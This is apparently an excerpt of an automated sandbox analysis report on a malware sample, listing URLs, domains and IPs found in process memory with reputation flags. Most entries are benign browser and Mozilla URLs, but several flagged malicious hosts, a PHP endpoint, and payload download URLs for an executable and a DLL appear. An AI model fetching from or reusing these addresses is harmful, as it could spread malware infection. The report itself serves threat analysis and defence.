https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://www.openh264.org/	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://coverage.mozilla.org	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.1	true	false		unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.184.206	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	142.250.186.110	true	false		unknown
reddit.map.fastly.net	151.101.193.140	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
necklacedmny.store	188.114.96.3	true	true		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
fadehairucw.store	unknown	unknown	true		unknown
www.facebook.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-timest	firefox.exe, 00000017.00000002.3109029325.0000016D5FB61000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture&?	firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2107237280.0000000005509000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000017.00000002.3106722190.0000016D544D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/eHelper.dll	275cb7a9a2.exe, 00000009.00000003.3114405608.0000000005DCA000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3106804406.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000017.00000002.3160909733.0000016D6C293000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000017.00000002.3114237804.0000016D61CDA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000017.00000002.3138334196.0000016D66408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6659A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6654D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()	firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://necklacedmny.store/X=C	275cb7a9a2.exe, 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3066643541.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3081940270.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3071306474.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3107969809.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3069882872.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3073591620.0000000001436000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000017.00000002.3112036472.0000016D60625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132854164.0000016D64C24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000017.00000002.3116728631.0000016D63591000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com	firefox.exe, 00000017.00000002.3156286806.0000016D68F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000017.00000003.3008320117.0000016D64638000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3009175241.0000016D6466F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 00000017.00000002.3109029325.0000016D5FB26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 00000017.00000002.3150846746.0000016D67367000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3167775186.0000016D6CCFD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160909733.0000016D6C203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3143979190.0000016D66CB2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 00000017.00000002.3109029325.0000016D5FB26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://www.amazon.com/	firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 00000017.00000002.3116728631.0000016D635DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114237804.0000016D61C65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3172210838.000028196A504000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apieUx	file.exe, 00000000.00000002.2268595327.000000000093E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/	firefox.exe, 00000017.00000002.3110555542.0000016D60003000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://127.0.0.1:	firefox.exe, 00000017.00000002.3128244739.0000016D64474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 00000017.00000002.3139672822.0000016D66630000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000017.00000002.3138587384.0000016D6659A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.comg	firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266171305.00000000009C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268802012.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266090900.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000017.00000002.3160909733.0000016D6C293000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://profiler.firefox.comprofilerRecordingButtonCreatedbrowser-delayed-startup-finished	firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.comP	firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/	firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.com	firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	544ed086e5.exe, 00000008.00000002.2927820038.000000000087C000.00000040.00000001.01000000.0000000B.sdmp, 544ed086e5.exe, 00000008.00000003.2887362261.000000000525B000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://developer.mozilla.org/en/docs/DOM:element.addEventListenerUseOfReleaseEventsWarningUse	firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tsn.ca	firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
